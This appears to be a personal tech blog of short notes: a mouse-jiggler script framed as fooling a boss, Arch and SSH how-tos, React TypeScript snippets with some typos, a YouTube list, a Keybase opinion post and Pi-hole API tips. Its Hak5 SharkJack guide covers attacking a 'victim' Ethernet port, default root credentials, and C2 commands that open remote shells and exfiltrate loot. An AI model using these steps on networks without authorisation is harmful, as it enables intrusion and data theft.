Thankful to be here ๐ŸŒ
21307 words
http://aliciasykes.com@Lissy_Sykes

keep-mouse-movin.sh ๐Ÿ–ฑ๏ธ

Working remotley? Sick and tired of having to get out of bed every 20 minutes to move your mouse, to prevent Slack/ Skype/ Teams from showing your status as Away? Well with a couple lines of bash, you can have your mouse pointer periodically move, ensureing your status will always remain Active. Your boss will be none the wiser

# LENGTH is the amount of px the mouse will move
# 0 = not moving at all, 1 = tiny movement, 100 = giant movement
LENGTH=50

# DELAY is the time period between movements, in seconds
DELAY=5

while true
  do
    for ANGLE in 0 90 180 270
      do
        xdotool mousemove_relative --polar $ANGLE $LENGTH
          sleep $DELAY
      done
    done

The pointer will move around its current position on the screen (i.e where you last placed it). However, if you prefer it to move around the centre of the screen, just change mousemove_relative to mousemove in the xdotool command.

[HOW-TO] Compile & Install Software on Arch ๐Ÿ—๏ธ

Quick reference of the common commands, to install packages on Arch Linux

Option #1 - Pacman

If the app is availible through AUR, then you can simply use the pacman package manager

## Install
$ sudo pacman -S {package-name(s)}

## Get Details
$ pacman -Qi {package-name}

## Remove
$ sudo pacman -R {package-name}

Option #2 - Manually

Using the makepkg script to build the package from source

## 1. Get the code (E.g. from AUR, GitHub)
$ wget https://aur.archlinux.org/packages/{package-name}.tar.gz
$ tar -xvzf  {package-name}.tar.gz
$ cd {package-name}

## 2. Compile the package
$ makepkg -s

## 3. Install the app
$ sudo pacman -U *xz

Option #2 - from .deb

If only a .deb file is availible, you can convert it using debtap

## 1. Get debtap (first time), and optionally create an alias
$ git clone https://github.com/helixarch/debtap
$ alias debtap='. .path/to/debtap'

## 1. Download the .deb package you wish to install, e.g.
$ git clone {url-to-package.git}
$ cd {package-name}


## 3. Convert .deb to Arch package
$ debtap packagetoconvert.deb

## 4. Install the converted package to system
$ debtap -U *

Usefull Info:

key-mirror.ts ๐Ÿชž

A quick function to construct an enumeration which has keys the same as their value

This used to be part of React, but since it's now been removed (See commit: #56f5115), and some older packages throw an error without it, I've updated it, and uploading in case anyone else needs it while working with older React packages. A copy of React's original, JavaScript version can be found here.

/**
 * (C) Alicia Sykes <https://aliciasykes.com>
 * Licensed under MIT X11: https://git.io/Jew4i
 *
 * Constructs an enumeration with keys equal to their value.
 * @param {object} obj
 * @return {object}
 */
export function keyMirror(originObj: object) {
  if (typeof originObj !== 'object')
    throw new Error('keMirror(...): Argument must be an object');
  const obj: any = {};
  for (const key in originObj) {
    if (originObj.hasOwnProperty(key)) obj[key] = key;
  }
  return obj
}

React Grid System โš›๏ธ

A simple React component for implementing responsive grid-based layouts, without any dependencies. It uses the native CSS Grid Layout properties to align elements into columns and rows. It is written in TypeScript as a Styled-Component for React or React Native projects.

/*
 * Entry point for React grid system
 * React implementation of CSS grid layout written in TypeScript as a styled-component
 * Licensed under MIT - (C) Alicia Sykes 2020 <https://aliciasykes.com>
 */

// FILE 1 - layout/index.ts

import Grid from './Grid';
import Cell from './Cell';

export { Grid, Cell };
// FILE 2 - layout/cell.ts

import styled from 'styled-components';
import { maxWidth } from '@styles/media-queries';

interface CellProps {
  left?: number; // The horizontal starting position
  width?: number; // How many cells to span, horizontally
  top?: number; // The vertical starting position
  height?: number; // How many cells to span, vertically
  className?: string; // So Cell can optionally be used as a styled container
}

const Cell = styled.div<CellProps>`
  ${props => {
    const { left, width, top, height } = props;
    return `
    grid-column-start: ${left || 'unset'};
    grid-column-end: ${width ? `span ${width}` : 'unset'};
    grid-row-start: ${top || 'unset'};
    grid-row-end: ${height ? `span ${height}` : 'unset'};
    overflow-x: hidden;
    overflow-wrap: break-word;
    word-wrap: break-word;
    ${maxWidth.tablet(`
      // For tablet and above
      grid-column-start: unset;
      grid-row-start: unset; 
    `)};
  `;
  }}
`;

export default Cell;
// FILE 3 - layout/grid.ts

import React from 'react';
import styled from 'styled-components';
import { gridValues } from '@styles/sizes';
import { minWidth } from '@styles/media-queries';

const GridWrapper = styled.div<{ columns?: number; gutterOutside?: boolean }>`
  ${({ columns, gutterOutside }) => {
    const { maxGridWidth, gutter, minRowHeight, minColWidth, numCols } = gridValues(columns);

    const desktop = gridValues(columns, 8, 4);

    return `
      max-width: ${maxGridWidth};
      margin: 0 auto;
      display: grid;
      grid-gap: ${gutter};
      padding: 0 ${gutterOutside ? gutter : 0}
      grid-auto-rows: minmax(${minRowHeight}, auto);
      grid-template-columns: repeat(auto-fit, minmax(${minColWidth}, 1fr));

      // For tablet and above
      ${minWidth.tablet(`
        grid-template-columns: repeat(${numCols}, 1fr);
      `)};

      // For desktop and above
      ${minWidth.desktop(`
        max-width: ${desktop.maxGridWidth};
        grid-gap: ${desktop.gutter};
      `)}
    `;
  }}
`;

const Grid: React.FC<{ className?: string; columns?: number; gutterOutside?: boolean }> = ({
  className,
  columns,
  children,
  gutterOutside,
}) => (
  <GridWrapper className={className} columns={columns} gutterOutside={gutterOutside}>
    {children}
  </GridWrapper>
);

export default Grid;
// FILE 4 - layout/grid-dimensions.ts

expoert const gridValues = (columns = 12, colWidth = 8, gutterWidth = 2) => ({
  maxGridWidth: sizeUnit(columns * colWidth + (columns - 1) * gutterWidth),
  gutter: sizeUnit(gutterWidth),
  minRowHeight: sizeUnit(5),
  minColWidth: sizeUnit(colWidth),
  numCols: columns,
});

Fave YouTube Chanels ๐Ÿ“ผ

๐Ÿ”จ Hardware/ Electronics/ DIY

  • DIYPerks - Design and building electronic & DIY projects, presented by Matthew Perks
  • GreatScott - Awesome Electronics Tutorials, Projects and How To's
  • Seytonic - Hacking-related tutorials, diy projects and raspberry pi/ Arduino mods
  • Bitluni's Lab - Entertaining electronics and IoT hacks
  • Spacehuhn - The legendary creator behind many hardware security products
  • Zack Freedman - Humorous guy, very knowledgeable about electronics, 3D Printing and building stuff
  • DIY Machines - Building easy to re-create machines with affordable components
  • Andreas Spiess - Building small electronics IoT projects
  • Grensom - IoT and Raspberry Pi smart mirror projects
  • Michael Reeves - Building robots that do dumb but really smart stuff
  • Mitxela - Small maker with some awesome projects about electronics, synthesizers, and other neat things
  • Look Mum no Computer - Electronic music creation with low level computers

Also: Alexandre Chappel, Simone Giertz

๐Ÿ” Cyber Security/ Privacy/ Hacking

๐Ÿ’ฟ Linux / Servers / Sys Admin

๐Ÿ‘ฉโ€๐Ÿ’ป Coding/ Algorithms/ Software Development

  • Computerphile - Detailed introductions to algorithms, data structures and architecture
  • Simply Explained - Simply explaining many computer topics
  • The New Boston - An original internet legend, beginner-friendly tutorials in a laid-back style
  • Caleb Curry - Complete coding courses, simply explained, Python, Java, C++, Crypto + more
  • The Net Ninja - Easy to follow web development tutorials
  • FireShip - Web Development Coding Snippets, Tutorials and Tricks
  • Free Code Camp - High quality programming tutorials
  • TheNewBoston - Coding tutorials, Bucky taught me to code as a kid
  • DevTips - Show web development tips and some introductory tutorials
  • Mathew Rayfield - Builds short, pointless but funny web projects

๐Ÿ’ป Computer Science/ Blockchain/ AI/ Machine Learning

  • Code Bullet - Building epic AI projects, and training AI to play games
  • Finematics - Videos about Decentralized Finance. Slightly annoying accent, but great content
  • Jordan Harrod - Interesting videos about how we interact with AI, from a Harvard MIT PhD Student

๐Ÿ“ฑ Technology/ PCs/ Consumer Electronics

๐Ÿ‘พ Retro Computing / Gaming

  • The 8-Bit Guy - Exploring the inner workings of tech from the 80's, 90's and 2000's
  • Modern Vintage Gamer - Retro gaming and the homebrew community
  • ETA Prime - Handheld, console and Raspberry Pi emulation and other tech stuff
  • Ahoy - Nicely produced videos about modern gaming

๐ŸŒ Internet Culture / Memes / Historical Internet Mysteries/ Fighting Internet Scammers

๐Ÿช Astronomy / Space / Planetary Science

  • Dr. Becky - Space news and concepts explained by a friendly astrophysicist
  • DeepSkyVideos - Videos exporing deep space objects
  • Sixty Symbols - Physics and Astronomy videos, with a focus on Symbols
  • NASA - The official NASA Channel and Live Stream
  • Space.com - The latest space exploration news and info
  • The Vintage Space - All about the history of spaceflight

๐Ÿงช Science/ Engineering/ Math

โœ Bible/ Jesus/ Religion

  • Bible Project - Overview of how an entire chapter fits together
  • BibleDex - Short videos about verses from the Bible

๐Ÿš… Trains

๐Ÿƒโ€โ™‚๏ธ Motivational/ Lifestyle

โ›บ Sports / Outdoors/ Street Running

3D Printing

๐Ÿ“š Tutorials

  • Logos By Nick - Inkscape and GIMP Tutorials
  • Thomas Sanladerer - 3D Printing Tutorials, from beginner to advanced
  • Brackeys - Game Dev Tutorials in Unity and C#
  • d3Vienno - A bit dated now, but still one of the best beginner D3.js tutorials out there

๐Ÿฆš Other Topics

๐ŸŒˆ Fun/ Sometimes Educational

  • ColdFusion - High quality documentaries about science, technology, business and more
  • CGP Grey - Engaging and unique videos covering history, politics, science, people and the world
  • Jay Foreman - The comedian and creator of Map Men, Unfinished London and Politics Unboringed
  • TierZoo - The World explained as if it were a video game
  • Lemmino - Top 10 facts, internet mysteries and interesting things
  • Tapakapa - Friendly stick man giving you interesting facts about the world
  • Sam O'Nella Academy - Slightly educational, funny videos
  • Collin Furze - Crazy back yard inventions and often fire
  • Great Big Story - Amazing People, doing Improbable Things
  • Mike Boyd - A guy who learns a new skill every week or so
  • exurba - Videos that make you think, from the meaning of life to physics mysteries
  • Austin McConnell - Random, slightly funny videos from a film maker
  • Tom Scott - An arrogant British guy telling you things he thinks you may not know
  • Half as Interesting - Stuff that is quite literally only half interesting
  • Wendover Productions - Videos that explain how stuff in the world works
  • Kurzgesagt - Uniquely animated science videos
  • Neo - Clear and understandable analysis of geopolitical conflicts, politics and business
  • Its Okay to be Smart - Exploring the science behind everything with Joe Hanson PhD
  • Think Big - Ideas about humans, science, history and the future
  • Tedx Talks - Talks that didn't quite make the bar to be actual Ted talks
  • Brew - Random science mysteries, solved by an animated presenter for kids
  • Atomic Frontier - Short BBC-style science and engineering documentaries from a small creator
  • History Matters - Short animated history videos
  • Half Asleep Chris - Interesting coins & banknotes, travel, stop-motion. Nice guy, very calming voice
  • Kento Bento - Animated documentaries about Asian historical events and lifestyle

โšฐ Past Legends/ Rarely Updated

๐Ÿ“บ Animations/ Cartoons

๐Ÿ“ฝ๏ธ TV Shows

๐ŸŽถ Music

๐Ÿ—ณ๏ธ Misc

๐ŸŒŸ Personal Favorite Favorites

CGP Grey, ColdFusion, DIYPerks, GreatScott, Jay Foreman, Mark Robber, N-O-D-E, Zach Freedman, Seytonic, The Hated One

Notes

These are my personal favorite YouTube channels, the talent and hard work behind each of these creators is very inspirational. Since I can't feasibly financially support all of them, I am instead sharing there content here.

I try to avoid using the official YouTube app and website (due to privacy concerns), so I instead use Invidious (web) / FreeTube (desktop) / NewPipe (mobile). Therefore I need to manage my subscriptions externally, and that is part of what this list is for.

Useful Links:

  • Channel Crawler - Useful tool to find and discover new YouTube Channels, based on specific parameters
  • YouTube-dl - A Python script to download videos from YouTube and some other platforms from a given URL. Can be used from the command-line, or incorporated into your project. It provides many optional parameters to specify video options. There's also YouTube-dl-GUI if you prefer a user interface
  • Turn off the Lights - Open source browser extension that dims the webpage around a video while it is playing

More:

Adafruit Industries

[HOW-TO] Use SSH for Server Authentication ๐Ÿ”“

Generating a new SSH Key Pair

  1. Run ssh-keygen -t rsa -b 4096
  2. When prompted, enter a passphrase
  3. SSH keys should be stored in ~/.ssh/

Importing Public Key to Remote Machine

Option #1 - Manual Configuration

  1. SSH into remote server, with username + password
  2. cd into your /home directory, and mkdir .ssh
  3. Copy public key from local to remote machine scp ~/.ssh/my_key.pub user@0.0.0.0:/home/username/.ssh/my_key.pub
  4. Append SSH public key to authorized hosts file cat ~/.ssh/my_key.pub >> ~/.ssh/authorized_keys
  5. Set permissions for
    • the .ssh directory (read, write, execute): chmod 700 ~/.ssh/
    • and the SSH keys (read, write): chmod 600 ~/.ssh/*

Option #2 - SSH Copy ID Command

Alternatively, the SSH Copy ID command will upload your public key to the remote server and update .ssh/authorized_keys
After generating an SSH key pair, simply run ssh-copy-id user@0.0.0.0 (with your username, IP and any other SSH flags)


Disable Password Authentication

  1. Make a backup of the sshdconfig file, before modifying it `sudo cp /etc/ssh/sshdconfig.backup`
  2. Turn off password authentication
    • sudo vim /etc/ssh/sshd_config
    • Find #PasswordAuthentication yes and replace with PasswordAuthentication no
    • Save and exit
  3. Restart SSH service sudo service ssh restart

Further Links

[HOW-TO] Operate the SharkJack ๐Ÿฆˆ

A Quick-Start Guide for the Hak5 SharkJack, a portable network attack tool

Access the SharkJack

  1. Switch to Arming Mode (center), and connect to PC via Ethernet
  2. Find the IP: Default is 172.16.24.1, run ifconfig to check
  3. Login: ssh root@172.16.24.1, using password hak5shark
  4. On first setup, change the default password, run passwd

Navigating the SharkJack

  • The active payload is located at: ~/payload/payload.sh
  • Captured loot is stored with the ~/loot/... directory
  • To save all loot locally, run: scp -r root@172.16.24.1:/root/loot/* .
  • To upload a new payload, run scp payload.sh root@172.16.24.1:/root/payload/

Conducting an Attack

  1. Flip into Attack Mode (fully forward), and wait for LED to go magenta
  2. Plug device into victim Ethernet port, watch LED's blink
  3. Once LED turns off, unplug device and switch to off

Out-of-the box, the ShakJack comes with an nmap payload, useful for initial network reconnaissance


Additional Tools

CLI Helper Tool

The SharkJack Helper a CLI tool for carrying out common tasks:
Get a shell, push a payload, grab saved loot and upgrade the firmware etc

  1. Download from: https://downloads.hak5.org/shark
  2. Make executable: chmod +x sharkjack.sh
  3. Run ./sharkjack.sh, and follow on-screen prompts

Web Interface

Once the firmware has been updated (V1.01 and newer), you can access the SharkJack's web interface by visiting 172.16.24.1 in your browser. From here you can view and modify the current payload, download your loot and view device status

Cloud C2

  1. Download and run Cloud C2 for your system, from https://shop.hak5.org/products/c2
  2. Go to Add Device --> SharkJack. Then select the listing --> Setup, and config file will download
  3. The device.config needs to be uploaded to /etc. Run scp device.config root@172.16.24.1:/ete/
  4. To connect, run CTCONNECT. Back on the web interface, your now able to open a shell, for remote access!
  5. To get the loot, run C2EFIL STRING /root/loot/nmap/nmap-scan_1.txt nmap, data now will show up in Loot tab!

Note that it the SharkJack does not connect to CloudC2 automatically, but by using the CTCONNECT and C2EFIL .. commands to your payload, you'll be able to exfiltrate the loot immediately, and access it remotely.


Reference Info

Switch Positions

  • Back: Off/ Charging
  • Middle: Arming Mode
  • Front: Attack Mode

LET Lights

  • Green (blinking): Booting up
  • Blue (blinking): Charging
  • Blue (solid): Fully Charged
  • Yellow (blinking): Arming Mode
  • Red (blinking): Error / No Payload

Individual Payloads have their own LED routines, but usually:
Red: Setup, Amber: Scanning, Green: Finished

Specifications

  • OS: OpenWRT 19.07-based GNU/Linux
  • SoC: 580MHz MediaTek MT7628DAN mips CPU
  • MEMORY: 64 MB DDR2 RAM, 64 MB SPI Flash
  • IO: RJ45 IEEE 802.3 Ethernet + USB-C charge port
  • DIMENSIONS: 62 x 21 x 12 mm
  • POWER: 2.5W (USB 5V 0.5A)
  • BATTERY: 1S 401020 3.7V 50mAh 0.2W LiPo
  • BATTERY TIMES: ~15 mins run, ~7 mins charge
  • TEMP: Operating- 35ยบC ~ 45ยบC, Storage -20ยบC ~ 50ยบC
  • RELATIVE HUMIDITY: 0% to 90% (noncondensing)

My worry about the future of Keybase ๐Ÿ˜Ÿ

When I heard that Zoom had acquired Keybase last week, my initial reaction was that it was a prank.

A bit of background

Keybase is a cryptography-based platform, where you control your private keys and use them to encrypt files, messages and more. It's mostly used by techy people and the privacy-conscious. Personally, I've been a big fan, and user of keybase for the past 4 years.
And Zoom, it seemed to come from nowhere when lockdown started, suddenly it was super popular: it has allowed us to stay in touch with our friends and family, for free and with excellent video quality. But it seems that nearly everyday recently, there's been another critical security issue with Zoom, they don't come across as a company that values the privacy of their users.

My Worries about the future of Keybase

This is an extract from the acquisition article posted on Keybase:

"Initially, our single top priority is helping to make Zoom even more secure. There are no specific plans for the Keybase app yet. Ultimately Keybase's future is in Zoom's hands, and we'll see where that takes us. Of course, if anything changes about Keybaseโ€™s availability, our users will get plenty of notice."

This is what worries me about the above quote:

  • "๐˜–๐˜ถ๐˜ณ ๐˜ด๐˜ช๐˜ฏ๐˜จ๐˜ญ๐˜ฆ ๐˜ต๐˜ฐ๐˜ฑ ๐˜ฑ๐˜ณ๐˜ช๐˜ฐ๐˜ณ๐˜ช๐˜ต๐˜บ ๐˜ช๐˜ด ๐˜ฉ๐˜ฆ๐˜ญ๐˜ฑ๐˜ช๐˜ฏ๐˜จ ๐˜ต๐˜ฐ ๐˜ฎ๐˜ข๐˜ฌ๐˜ฆ ๐˜ก๐˜ฐ๐˜ฐ๐˜ฎ ๐˜ฆ๐˜ท๐˜ฆ๐˜ฏ ๐˜ฎ๐˜ฐ๐˜ณ๐˜ฆ ๐˜ด๐˜ฆ๐˜ค๐˜ถ๐˜ณ๐˜ฆ" - Implies, that the KeyBase team will now be working on the Zoom platform, and not Keybase.
  • "๐˜Œ๐˜ท๐˜ฆ๐˜ฏ ๐˜ฎ๐˜ฐ๐˜ณ๐˜ฆ ๐˜ด๐˜ฆ๐˜ค๐˜ถ๐˜ณ๐˜ฆ" - HA! They are pretending Zoom is secure
  • "๐˜›๐˜ฉ๐˜ฆ๐˜ณ๐˜ฆ ๐˜ข๐˜ณ๐˜ฆ ๐˜ฏ๐˜ฐ ๐˜ด๐˜ฑ๐˜ฆ๐˜ค๐˜ช๐˜ง๐˜ช๐˜ค ๐˜ฑ๐˜ญ๐˜ข๐˜ฏ๐˜ด ๐˜ง๐˜ฐ๐˜ณ ๐˜ต๐˜ฉ๐˜ฆ ๐˜’๐˜ฆ๐˜บ๐˜ฃ๐˜ข๐˜ด๐˜ฆ ๐˜ข๐˜ฑ๐˜ฑ ๐˜บ๐˜ฆ๐˜ต" - this doesn't sound good
  • "๐˜œ๐˜ญ๐˜ต๐˜ช๐˜ฎ๐˜ข๐˜ต๐˜ฆ๐˜ญ๐˜บ ๐˜’๐˜ฆ๐˜บ๐˜ฃ๐˜ข๐˜ด๐˜ฆ'๐˜ด ๐˜ง๐˜ถ๐˜ต๐˜ถ๐˜ณ๐˜ฆ ๐˜ช๐˜ด ๐˜ช๐˜ฏ ๐˜ก๐˜ฐ๐˜ฐ๐˜ฎ'๐˜ด ๐˜ฉ๐˜ข๐˜ฏ๐˜ฅ๐˜ด" - FUCK
  • "๐˜ช๐˜ง ๐˜ข๐˜ฏ๐˜บ๐˜ต๐˜ฉ๐˜ช๐˜ฏ๐˜จ ๐˜ค๐˜ฉ๐˜ข๐˜ฏ๐˜จ๐˜ฆ๐˜ด ๐˜ข๐˜ฃ๐˜ฐ๐˜ถ๐˜ต ๐˜’๐˜ฆ๐˜บ๐˜ฃ๐˜ข๐˜ด๐˜ฆโ€™๐˜ด ๐˜ข๐˜ท๐˜ข๐˜ช๐˜ญ๐˜ข๐˜ฃ๐˜ช๐˜ญ๐˜ช๐˜ต๐˜บ" - Makes it sound like Keybase could one day be discontinued

And from the Zoom blog post:

  • "๐˜ž๐˜ฆ ๐˜ข๐˜ณ๐˜ฆ ๐˜ฆ๐˜น๐˜ค๐˜ช๐˜ต๐˜ฆ๐˜ฅ ๐˜ต๐˜ฐ ๐˜ช๐˜ฏ๐˜ต๐˜ฆ๐˜จ๐˜ณ๐˜ข๐˜ต๐˜ฆ ๐˜’๐˜ฆ๐˜บ๐˜ฃ๐˜ข๐˜ด๐˜ฆโ€™๐˜ด ๐˜ต๐˜ฆ๐˜ข๐˜ฎ ๐˜ช๐˜ฏ๐˜ต๐˜ฐ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ก๐˜ฐ๐˜ฐ๐˜ฎ ๐˜ง๐˜ข๐˜ฎ๐˜ช๐˜ญ๐˜บ" - Yup, they bought Keybase just to use their engineers
  • "๐˜›๐˜ฉ๐˜ช๐˜ด ๐˜ข๐˜ค๐˜ฒ๐˜ถ๐˜ช๐˜ด๐˜ช๐˜ต๐˜ช๐˜ฐ๐˜ฏ ๐˜ฎ๐˜ข๐˜ณ๐˜ฌ๐˜ด ๐˜ข ๐˜ฌ๐˜ฆ๐˜บ ๐˜ด๐˜ต๐˜ฆ๐˜ฑ ๐˜ง๐˜ฐ๐˜ณ ๐˜ก๐˜ฐ๐˜ฐ๐˜ฎ ๐˜ข๐˜ด ๐˜ธ๐˜ฆ ๐˜ข๐˜ต๐˜ต๐˜ฆ๐˜ฎ๐˜ฑ๐˜ต ๐˜ต๐˜ฐ ๐˜ข๐˜ค๐˜ค๐˜ฐ๐˜ฎ๐˜ฑ๐˜ญ๐˜ช๐˜ด๐˜ฉ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ค๐˜ณ๐˜ฆ๐˜ข๐˜ต๐˜ช๐˜ฐ๐˜ฏ ๐˜ฐ๐˜ง ๐˜ข ๐˜ต๐˜ณ๐˜ถ๐˜ญ๐˜บ ๐˜ฑ๐˜ณ๐˜ช๐˜ท๐˜ข๐˜ต๐˜ฆ ๐˜ท๐˜ช๐˜ฅ๐˜ฆ๐˜ฐ ๐˜ค๐˜ฐ๐˜ฎ๐˜ฎ๐˜ถ๐˜ฏ๐˜ช๐˜ค๐˜ข๐˜ต๐˜ช๐˜ฐ๐˜ฏ๐˜ด ๐˜ฑ๐˜ญ๐˜ข๐˜ต๐˜ง๐˜ฐ๐˜ณ๐˜ฎ" - I don't think they have any intention of creating a "truly private" platform. And the word "attempt" doesn't exactly instill confidence in me
  • "๐˜–๐˜ถ๐˜ณ ๐˜จ๐˜ฐ๐˜ข๐˜ญ ๐˜ช๐˜ด ๐˜ต๐˜ฐ ๐˜ฑ๐˜ณ๐˜ฐ๐˜ท๐˜ช๐˜ฅ๐˜ฆ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ฎ๐˜ฐ๐˜ด๐˜ต ๐˜ฑ๐˜ณ๐˜ช๐˜ท๐˜ข๐˜ค๐˜บ ๐˜ฑ๐˜ฐ๐˜ด๐˜ด๐˜ช๐˜ฃ๐˜ญ๐˜ฆ ๐˜ง๐˜ฐ๐˜ณ ๐˜ฆ๐˜ท๐˜ฆ๐˜ณ๐˜บ ๐˜ถ๐˜ด๐˜ฆ ๐˜ค๐˜ข๐˜ด๐˜ฆ, ๐˜ธ๐˜ฉ๐˜ช๐˜ญ๐˜ฆ ๐˜ข๐˜ญ๐˜ด๐˜ฐ ๐˜ฃ๐˜ข๐˜ญ๐˜ข๐˜ฏ๐˜ค๐˜ช๐˜ฏ๐˜จ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ฏ๐˜ฆ๐˜ฆ๐˜ฅ๐˜ด ๐˜ฐ๐˜ง ๐˜ฐ๐˜ถ๐˜ณ ๐˜ถ๐˜ด๐˜ฆ๐˜ณ๐˜ด ๐˜ข๐˜ฏ๐˜ฅ ๐˜ฐ๐˜ถ๐˜ณ ๐˜ค๐˜ฐ๐˜ฎ๐˜ฎ๐˜ช๐˜ต๐˜ฎ๐˜ฆ๐˜ฏ๐˜ต ๐˜ต๐˜ฐ ๐˜ฑ๐˜ณ๐˜ฆ๐˜ท๐˜ฆ๐˜ฏ๐˜ต๐˜ช๐˜ฏ๐˜จ ๐˜ฉ๐˜ข๐˜ณ๐˜ฎ๐˜ง๐˜ถ๐˜ญ ๐˜ฃ๐˜ฆ๐˜ฉ๐˜ข๐˜ท๐˜ช๐˜ฐ๐˜ณ ๐˜ฐ๐˜ฏ ๐˜ฐ๐˜ถ๐˜ณ ๐˜ฑ๐˜ญ๐˜ข๐˜ต๐˜ง๐˜ฐ๐˜ณ๐˜ฎ" - When they talk about "balancing" the needs of customers, this implies that they will not be aiming for true end-to-end encryption and anonymity, it could be possible but I doubt Zoom will peruse that path

I know all this is just legal speak, and they have to word it in this way to cover themselves, but too me this is worrying. I'd come to love Keybase over the years, the team behind it are very talented, and have done an amazing job. It's going to be sad to say goodbye, but for now I'm going to enjoy it while I can :)

Expressing my Gratitude to the Universe ๐ŸŒŒ

Dear Universe,
Thanks!




AHT GPG Public Key ๐Ÿ”‘

-----BEGIN PGP PUBLIC KEY BLOCK-----

mQENBF48O4ABCAC9IEjW7+Q2uF7efrxguXeRVr0NgHPIbTdAioVp2TkPlAi+h+yW
gbyeluutVlg2Mo5uWccPBaPHLm9Pr0CKTKiF8Y1RrYiDZ8RmyJSNux40FBGFPsNs
mfj3v7pjdTinI4v+EW8Lqd704fGCkgEpUpamefI2O8Hc7pHAtH1PUz99dcO1ThDY
Bn5grO8CPmM6XfRIHvBf7oJ0DwBH/yoS5Gjs2P4ijk/GMplApaVroCo8dAjyS7QJ
xreko5yVr2hhzrIznJYc63UBe6lAoM7wpArLCHxJ2fw1zHMuWg431EnpZa5nwrml
iSXizo1MuVUXm1Mt52wb3s26koLUoCXhNcqfABEBAAG0KEFsaWNpYSBIYWlnLVRo
b21hcyA8YWxpY2lhLmh0QGFsaWNpYS5odD6JAU4EEwEIADgWIQSEJgDk7beVIXMv
TmyOI+xzzok6aQUCXjw7gAIbAwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRCO
I+xzzok6aTL7B/4knCMhDX5MOTiAd0NKKE89EqApayJuxWovnvYmYEN2fje+rMH2
gf1J6+XET7jJ8jNujYIpvQmJcnumfzk9/dXNfT+MWn93ZOn+8Y2FmFD4jCdG20dS
Bx9mPAH00QoG7qZXk8EUvqo0EHtVPHW0PREyB3B/qd+tx1RcBva4vp8eYQezl16w
gjxGM4rjtcwgDGmlHM1PoeplJ6dr9kmB1fJ/HnuQnPKFMcU2bBj6Mbv2uensd4Js
zDgKWAaT5X+LA7xLs65bSgPFnos6gUFg+dS2tYf/zoIGiCGaeiv93RnWdvTYPcba
fHPmwsLX97HFk4KXnNvdAEaJlykbTvujHP14uQENBF48O4ABCAC5YOL+GBpmoTKB
nniRlRdt2Y+oWN0eyongTwLb3oPyc6+BfcMJS+8mV9hp96qYvXLDoNwkZZWUuHAP
SFhS4YjNW7mufOqKejUlkOgNvFpQ6eiU6QxmLu7RB4dWsPXMWxKAayaDsIJ75amf
EPyEcy+8/jkpAs62copxdJcJNkD3GGda2W6EC1GjhZGZjK4UnDAMg/iVpbygJFiH
EYHEL4JvS0HrW+30eikvXi9R8MxW/pNQIuJyjp8rJTwbV3fPeCwfuasPECuLK9qN
FmpL7NEAyreYET+uZxW16r7tDo3pIAZcz6+y4sBvf3+hR6T5IGL8nvezu71l0YhO
r4b38CIBABEBAAGJATYEGAEIACAWIQSEJgDk7beVIXMvTmyOI+xzzok6aQUCXjw7
gAIbDAAKCRCOI+xzzok6aWmdB/9yyai3QfSNhXnljLN7bLDyukFWnioqNZZWRKsp
1Coi2b7/yIYm1i4nd7W9YMXSZ2Lojl5471A4/u74M8c3Ua7RLxS5SJGDTYm1TX8L
xM4MY+iaYcbSMt+8ll0Y2av4cQAx/S69DIONSAqsIuKtNptKxedyKmB9IX3QLtpK
J2SFOTHVXWg4EVovhCvr7DlI9nkQtFJ+fgVk4GW8UeY5b+uR3Emcpcfo7h/FVwav
Pc0jCYP8i2YZQ3IdN6+Py2PXnhS6+OZukVy3GSib6dmdk1XhaUCcE8xbht92GiK0
2TVqWk8NQtfrMH6TvJmsgfNUAuOz3dOGgUwK1DqvhYQRWMh1
=4Lz6
-----END PGP PUBLIC KEY BLOCK-----

Fingerprint: 8426 00E4 EDB7 9521 732F 4E6C 8E23 EC73 CE89 3A69

[HOW-TO] Enable/ Disable Pi-Hole from CLI ๐Ÿฅง

Pi Hole has an API that can be hit from browser, PostMan or CLI
This is useful for creating a physical button, voice command or automation script

To enable or diable Pi Hole, just hit the following end points
Disable URL : http://pi.hole/admin/api.php?disable&auth=[WEB_PASSWORD]
Enable URL : http://pi.hole/admin/api.php?enable&auth=[WEB_PASSWORD]
Disable for [X] Seconds: http://pi.hole/admin/api.php?disable=[X]&auth=[WEB_PASSWORD]

[WEB_PASSWORD] can be found in /etc/pihole/setupVars.conf
It is a 64-character string with the identifierWEBPASSWORD
It is NOT your pi-hole interface or server password

API Docs: https://discourse.pi-hole.net/t/pi-hole-api/1863

Or, if logged into pi server, run: pihole enable
Docs: https://docs.pi-hole.net/core/pihole-command

Hello World ๐Ÿ‘‹

This is my blog. It has a bunch of random notes. The stuff here is mostly pointless, some of it's cool- but most of it pointless. Kind of like the rest of what I do with my life.

I keep the posts and information up-to-date.